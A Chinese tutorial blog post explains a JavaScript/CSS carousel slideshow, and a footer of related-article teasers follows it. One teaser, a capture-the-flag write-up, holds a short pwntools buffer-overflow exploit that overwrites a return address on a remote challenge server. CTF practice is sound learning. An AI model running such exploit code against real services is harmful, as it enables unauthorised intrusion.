轮廓图【HTML+CSS+JavaScript】

给大家分享一个很好看的轮播图,这个也是之前看到别人写的效果感觉很好看,所以后面也自己实现了一下,在这里分享给大家,希望大家也可以有所收获

轮播图效果:

视频效果有点浑浊,大家凑合着看,大家有什么好的截视频方法推荐我一下吧,非常感谢,孩子太难了

轮播图功能:

  • 轮播图会有一个向左移动的视野效果
  • 点击右边图片会向左更新
  • 点击左边图片会向右更新
  • 点击右边箭头会向左更新
  • 点击左边箭头会向右更新
  • 使用鼠标在图片上进行悬停,图片不会自动更新 
  • 使用鼠标在小点上进行滑动,图片更新到对应的图片上

js实现思路:

获得我们的dom类:

下面有注释解释,大家结合上面轮播图的图片进行理解

        // 小圆点的父类let dotul = document.querySelector('.dot ul')// 图片let one = document.querySelector('.one')let three = document.querySelector('.three')// 我们图片的大框架let carousel_map = document.querySelector('.carousel-map')// 左边箭头let lefticon = document.querySelector('.lefticon')// 右边箭头let righticon = document.querySelector('.righticon')// 图片的父ullet ul = document.querySelector('.ul-img')// 左边图片的位置let leftbox = document.querySelector('.leftbox')// 右边图片的位置let rightbox = document.querySelector('.rightbox')
小圆点:

动态添加图片下的小圆点,使用for循环使用createElement()创建li元素,然后将创建的li添加到ul当中,但是因为我们显示的有图片和圆点进行绑定,所以我们要给一个小圆点添加上一个不一样的样式,突出该圆点和图片的关联性,最开始我们要初始化一个小圆点,保证它可以和我们的第一个显示的图片相照应,这里我们首先显示的是第二个图片,所以在这里我们定义一个变量j为1,就是让我们的第二个小圆点进行显示,color()方法是给我们的小圆点上色的方法

//添加小点点for (let i = 0; i < parts.length; i++) {let li = document.createElement('li')// 添加自定义属性li.setAttribute('index', i)dotul.appendChild(li)}let j = 1dotul.children[j].className = 'change'function color() {for (let i = 0; i < parts.length; i++) {dotul.children[i].className = ''}dotul.children[j].className = 'change'}

大家可以注意到我们的j变量是有范围的,也就是0-5,我们应该对 j 进行一些处理,所以我们需要写一个函数进行管理

function inspect() {if (j < 0) {j = 5} else if (j > 5) {j = 0}}

轮播图移动方法 left() 和 right () :

首先我们先定义一个parts数组,为的是让我们的图片类名进行更换

let parts = ['one', 'two', 'three', 'four', 'five', 'six']

大家看到这里可能不太了解,大家可以看以下的这些css代码(就是对以上类名的一些css操作)

.one {transform: translateX(-100px) scale(0.9);/* 初始位置和大小 */transition: transform 0.6s ease-out;/* 设置平滑过渡 */z-index: 4;}.two {transform: scale(1);/* 初始位置和大小 */transition: transform 0.6s ease;/* 设置平滑过渡 */z-index: 6;}.three {transform: translateX(100px) scale(0.9);/* 初始位置和大小 */transition: transform 0.5s ease-out;/* 设置平滑过渡 */z-index: 3;}.four {opacity: 0;transform: scale(0.9);z-index: 1;}.five {opacity: 0;transform: scale(0.9);z-index: 1;}.six {opacity: 0;transform: scale(0.9);z-index: 1;}

我们为什么要这么写呢,因为我们的图片放在的 li 元素使用了绝对定位大家从我下面的总代码中可以看到)这样就可以让我们的图片叠加到一起(绝对定位加上相对定位的效果),这样就方便我们对图片的操作了,然后我们对第一张图片和第三张图片进行位置移动,产生偏差的视觉效果,并且进行缩小操作,突出显示我们的第二张中间图片

下面是 我们分装图片进行向左更新和向右更新的方法

right()方法

对我们的parts数组进行后删前增这样我们的第三个图片的类变成了two,为什么呢,大家可以看看我的css代码,two类就是我们的中间图片,这样在通过css的transform和transition就实现了我们视频中的那种偏移效果,图片就进行更新了,我们的图片下的小圆点高光也进行更换(因为向左和向右的逻辑是一样的,这里我就不重复赘述了)

         function right() {// 将最后一个元素推到数组的前面parts.unshift(parts[5]) // 移动最后一个到最前面parts.pop()for (let i = 0; i < parts.length; i++) {if (ul.children[i]) {// 确保子元素存在ul.children[i].setAttribute('class', parts[i])}}j++inspect()color()}function left() {// 将最后一个元素推到数组的前面parts.push(parts[0]) // 移动最后一个到最前面parts.shift()for (let i = 0; i < parts.length; i++) {if (ul.children[i]) {// 确保子元素存在ul.children[i].setAttribute('class', parts[i])}}j--inspect()color()}
鼠标悬停小圆点:

关于悬停小圆点进行图片更新操作大概是这部分轮播图当中难的了,大家可能不太好理解,其实还是通过two的位置和小圆点的差距,然后通过这个差距的进行循环实现图片的移动从而实现小圆点和图片的对应

         dotul.addEventListener('mouseover', function (e) {if (e.target.tagName === 'LI') {let index = parseInt(e.target.getAttribute('index'))let now = parts.indexOf('two') // 获取当前显示的元素索引let dif = Math.abs(index - now) // 计算经过点与当前点的距离clearInterval(timer) // 清除定时器// 使用一个新的定时器来逐步移动if (index < now) {while (dif--) {left()}} else {while (dif--) {right()}}timer = setInterval(right, 1500) // 重新设置自动播放定时器}})
图片停止自动播放:

carousel_map是我们总体元素的父类,当鼠标悬停到上面时,就停止播放,当离开时,重启定时器,图片的自动更新

        carousel_map.addEventListener('mouseover', function () {lefticon.style.display = 'block'righticon.style.display = 'block'clearInterval(timer)})carousel_map.addEventListener('mouseout', function () {lefticon.style.display = 'none'righticon.style.display = 'none'clearInterval(timer)timer = setInterval(right, 1500)})
图片图标的点击事件:
        lefticon.addEventListener('click', function () {clearInterval(timer)left()timer = setInterval(right, 1500)})righticon.addEventListener('click', function () {clearInterval(timer)right()timer = setInterval(right, 1500)})leftbox.addEventListener('click', function () {clearInterval(timer)left()timer = setInterval(right, 1500)})rightbox.addEventListener('click', function () {clearInterval(timer)right()timer = setInterval(right, 1500)})

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/884516.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ChatGPT变AI搜索引擎!以后还需要谷歌吗?

前言 在北京时间11月1日凌晨&#xff0c;正值ChatGPT两岁生日之际&#xff0c;OpenAI宣布推出最新的人工智能搜索体验&#xff01;具备实时网络功能&#xff01;与 Google 展开直接竞争。 ChatGPT搜索的推出标志着ChatGPT成功消除了即时信息这一最后的短板。 这项新功能可供 …

Netty 组件介绍 - ByteBuf

直接内存&堆内存 ByteBuf buffer ByteBufAllocator.DEFAULT.heapBuffer(10);ByteBuf byteBuf ByteBufAllocator.DEFAULT.directBuffer(10); 组成 ByteBuf维护了两个不同的索引&#xff0c;一个用于读取&#xff0c;一个用于写入。 写入 内存回收 堆内存使用的是JVM内…

都快2025年了,来看看哪个编程语言才是时下热门吧

早上好啊&#xff0c;大佬们&#xff0c;今天咱们不讲知识&#xff0c;今天我们来看看时下热门的编程语言都是哪些&#xff0c;大佬们又都是在学哪些语言呢。 最近一些朋友和我在讨论哪个编程语言是现在 最好用 最厉害 的编程语言。 有人说&#xff0c;Python简单好用&#xf…

【雷达信号数据集】雷达脉冲活动分段的多级学习算法【附下载链接】

摘要 无线电信号识别是电子战中的一项重要功能。电子战系统需要精确识别和定位雷达脉冲活动&#xff0c;以产生有效的对抗措施。尽管这些任务很重要&#xff0c;但基于深度学习的雷达脉冲活动识别方法在很大程度上仍未得到充分探索。虽然之前已经探索了用于雷达调制识别的深度…

vscode php Launch built-in server and debug, PHP内置服务xdebug调试,自定义启动参数配置使用示例

在vscode中&#xff0c;当我们安装了插件 PHP Debug&#xff08;xdebug.php-debug&#xff09;或者 xdebug.php-pack 后 我们通过内置默认的 php xdebug配置启动php项目后&#xff0c;默认情况下我们在vscode中设置断点是不会生效的&#xff0c;因为我们的内置php服务默认启动时…

(二 上)VB 2010 设计初步

目录 一、常用类应用 1.Console类控制台 2.窗体基本控件 二、面向对象程序设计 1.类和对象 2.对象的属性、方法、事件属 1.属性 2.方法 3.事件、事件过程 1.事件 2.事件过程 3.对象浏览器 三、.NET类库与命名空间 1.命名空间 常用命名空间 1.System命名空间 2.…

[CARLA系列--01]CARLA 0.9.15 在Windows下的安装教程(一)

Carla是一款开源的自动驾驶仿真器&#xff0c;它基本可以用来帮助训练自动驾驶的所有模块&#xff0c;包括感知系统&#xff0c;Localization, 规划系统等等.Carla这个产品目前已经更新到了最新的0.9.15版本,目前遇到好多人在windows系统上如何安装可编辑版的Carla遇到了好多问…

禾川HCQ1控制器程序编译报错如何解决

1、第一次打开用户程序 2、提示库未安装 3、安装库文件 4、脉冲轴库未安装 5、没有错误 去禾川自动化官网,把可以安装的包和库都安装下,程序编译就没有错误了。 6、下载相关包文件

ubuntu20安装opencv3.2记录

系统环境 ubuntu20安装了ros-noetic&#xff0c;所以系统默认装了opencv4.2.0&#xff0c;但是跑fastlivo推荐的是opencv3.2.0&#xff0c;而且海康相机别人写的ros驱动&#xff08;海康相机ros驱动&#xff09;也是需要opencv3.2.0&#xff0c;最终还是选择安装多版本的openc…

基于NVIDIA NIM平台实现盲人过马路的demo(一)

前言:利用NVIDIA NIM平台提供的大模型进行编辑,通过llama-3.2-90b-vision-instruct模型进行初步的图片检测 step1: 部署大模型到本地,引用所需要的库 import os import requests import base64 import cv2 import time from datetime import datetimestep2: 观看官方使用文…

MATLAB下的四个模型的IMM例程(CV、CT左转、CT右转、CA四个模型),附源代码可复制

文章目录 基于IMM算法的目标跟踪概述源代码运行结果代码结构与功能1. 初始化2. 仿真参数设置3. 模型参数设置4. 生成量测数据5. IMM算法初始化6. IMM迭代7. 绘图8. 辅助函数总结基于IMM算法的目标跟踪 概述 该MATLAB代码实现了基于交互式多模型(IMM)算法的目标跟踪,旨在估…

Netty 组件介绍 - Future Promise

在异步处理时&#xff0c;经常用到这两个接口 netty 中的 Future 继承 jdk 中的 FutuFuture&#xff0c;而Promise 又对 netty Future 进行了扩展。 idk Future 只能同步等待任务结束&#xff08;或成功或失败)才能得到结果netty Future 可以同步等待任务结束得到结也可以异…

ai数字人分身123口播克隆数字人小程序源码_博纳软云

功能配置 一、用户 用户管理小黑屋用户反馈登录设置短信参数 二、作品 视频作品背景音乐库背景音乐分类 三、形象分身 上传记录视频要求参数配置 四、声音克隆 克隆记录参数配置声音要求文案示例 五、AI文案 生成记录创作模型模型分类Al配置 六、充值 充值订单积分套…

Elasticsearch Interval 查询:为什么它们是真正的位置查询,以及如何从 Span 转换

作者&#xff1a;来自 Elastic Mayya Sharipova 解释 span 查询如何成为真正的位置查询以及如何从 span 查询过渡到它们。 长期以来&#xff0c;Span 查询一直是有序和邻近搜索的工具。这些查询对于特定领域&#xff08;例如法律或专利搜索&#xff09;尤其有用。但相对较新的 …

软件测试模型

软件测试模型是在软件开发过程中&#xff0c;用于指导软件测试活动的一系列方法和框架。这些模型帮助测试团队确定何时进行测试、测试什么以及如何测试&#xff0c;从而确保软件的质量和稳定性。 一 V模型 V模型是一种经典的软件测试模型,它由瀑布研发模型演变而来的测试模型…

Tiling与流水线技术小结

文章目录 Tiling技术Loop TilingAI推理中的Tiling 参考 流水线技术指令周期 参考 Tiling技术 Tiling&#xff08;平铺&#xff09;是一种将大的问题或数据集分解为较小的子问题或子数据集的技术&#xff0c;目的是提高数据局部性和缓存利用率&#xff0c;从而提升程序性能。 在…

Pinia-状态管理

Pinia-状态管理 特点&#xff1a; 1. 轻量和模块化 Pinia 是一个轻量级的状态管理库&#xff0c;支持模块化管理&#xff0c;即可以将应用的状态分成多个 store 以实现更好的组织。使用 Pinia&#xff0c;可以定义多个 store&#xff0c;每个 store 都是一个独立的模块&#x…

openpnp - 在openpnp中单独测试相机

文章目录 openpnp - 在openpnp中单独测试相机概述笔记测试工装相机镜头顶部盖子到目标的距离END openpnp - 在openpnp中单独测试相机 概述 底部相机的位置不合适, 重新做了零件&#xff0c;准备先确定一下相机和吸嘴的距离是多少才合适。 如果在设备上直接实验&#xff0c;那…

网络模型——二层转发原理

网课地址&#xff1a;网络模型_二层转发原理&#xff08;三&#xff09;_哔哩哔哩_bilibili 一、路由交换 网络&#xff1a;用来信息通信&#xff0c;信息共享的平台。 网络节点&#xff08;交换机&#xff0c;路由器&#xff0c;防火墙&#xff0c;AP&#xff09;介质&#…

[watevrCTF 2019]Voting Machine 1-好久不见10

shiiftF12查找字符串&#xff0c;发现flag.text跟踪 from pwn import * i remote("node5.anna.nssctf.cn",22956) address 0x400807 payload ba*(0x28) p64(address) i.sendline(payload) i.interactive()